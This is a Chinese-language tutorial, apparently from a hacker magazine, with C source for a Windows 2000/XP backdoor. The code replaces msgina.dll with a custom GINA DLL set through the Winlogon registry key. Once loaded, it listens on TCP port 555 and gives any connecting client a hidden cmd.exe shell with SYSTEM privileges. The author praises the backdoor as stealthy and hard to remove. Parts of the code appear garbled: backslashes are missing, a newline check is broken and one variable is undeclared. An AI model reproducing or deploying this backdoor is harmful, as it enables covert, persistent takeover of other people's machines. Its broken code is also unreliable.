前言
“马”玩了不少,不过玩得都是别人写的,总感觉不是很爽。何不自己打造一个属于自己BackDoor呢?!
既然是后门,当然是不能被轻易发现的,这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL,如果强行删除的话……呵呵,下次启动就不正常了。
Socket:毒啊毒!比“独行者”还毒!
前置知识
首先来介绍下Gina在windows中的作用:WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的,Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll,在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式,这就为我们打造后门提供了条件!
要替换掉系统默认加载的msgina.dll很简单,只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ,名为GinaDLL的键值,数据填写我们替换的GinaDLL的 名字就OK了。例如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"GinaDLL"="ginadll.dll"(ginadll.dll就是我们用来替换的Gina)。
在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层,使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程,具有SYSTEM权限,理 所当然我们的后门也有SYSTEM权限,这对于后门来说是再好不过了。
实现过程
由于我们一共要替换15个Gina函数,全部写出来会相当大。这里就选几个重要部分做示范,其他的只需直接往下一层的msgina.dll调用就行了,详细请参考完整源代码。
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);
后门要用到的全局变量
//管道
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;
//用来控制线程是否结束返回
BOOL bExit = FALSE;
//保存创建的CMD进程语柄
HANDLE hProcess = NULL;
//Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;
//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !pWlxInitialize )
return FALSE;
//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;
//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,
pWlxContext );
}
//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//后门的主线程开始
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//调用下层的WlxLoggedOutSAS
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}
//StartInit线程
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;
//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555); //端口号,可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
//绑定到555端口
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
return 1;
//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
//在一个连接断开后又返回等待另外的连接
SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
if ( recvSock == INVALID_SOCKET ) {
Sleep(1000);
continue;
}
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建后门
HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待BackDoor线程结束。
WaitForSingleObject(hThread,INFINITE);
bExit = FALSE;
}
return 1;
}
//BackDoor线程
DWORD WINAPI BackDoor (LPVOID lp)
{
//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO StartInfor = {0};
PROCESS_INFORMATION ProInfor = {0};
//重定向子进程的标准输入输出,为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;
//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != ‘\’)
strcat(SysDir,"\");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;
//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE hArray[2] = {0};
//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待2个线程的结束
WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
closesocket(sock);
return 1;
}
//RecvThread 线程
DWORD WINAPI RecvThread ( LPVOID lp)
{
SOCKET sock = *(SOCKET*)lp;
TCHAR CmdBuf[512] = {0}; //接收命令的Buf
int num = 0;
while ( TRUE )
{
if ( bExit == TRUE )
return 1;
TCHAR Tbuf[2] = {0};
int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
if ( ret == 1 )
{
num++; //接收的字符记数
strcat(CmdBuf,Tbuf); //追加到CmdBuf中
send(sock,Tbuf,1,0); //回显
if ( Tbuf[0] == ‘n’ ) //如接收到回车
{
TCHAR buf[5] = {0};
DWORD A=0;
//写到管道中供CMD的标准输入读取
WriteFile(hSWrite,CmdBuf,num,&A,NULL);
memcpy ( buf, CmdBuf, 4);
//如果是exit命令设置线程结束标志
int ret = _stricmp (buf,"exit");
if ( ret == 0 )
bExit = TRUE;
memset(CmdBuf,0,512);
num=0;
}
}
else
{
//如果连接中断终止CMD进程
bExit = TRUE;
DWORD A=0;
GetExitCodeProcess(hProcess,&A);
TerminateProcess(hProcess,A);
}
}
return 1;
}
//SendThread 线程
DWORD WINAPI SendThread ( LPVOID lp )
{
SOCKET sock = *(SOCKET*)lp;
TCHAR Buf[512]={0};
DWORD ReadSize = 0;
while(TRUE)
{
if ( bExit == TRUE ) //如果结束标志为真线程返回
return 1;
//查看管道是否有数据可读
PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
//有就读取 没有就Sleep0.1s再次检查
if ( ReadSize > 0 )
ReadFile(hSRead,Buf,512,&ReadSize,NULL);
else
{
Sleep(100);
continue;
}
//把从管道读出来的数据发给客户端.
send (sock,Buf,ReadSize,0);
memset(Buf,0,512);
}
return 1;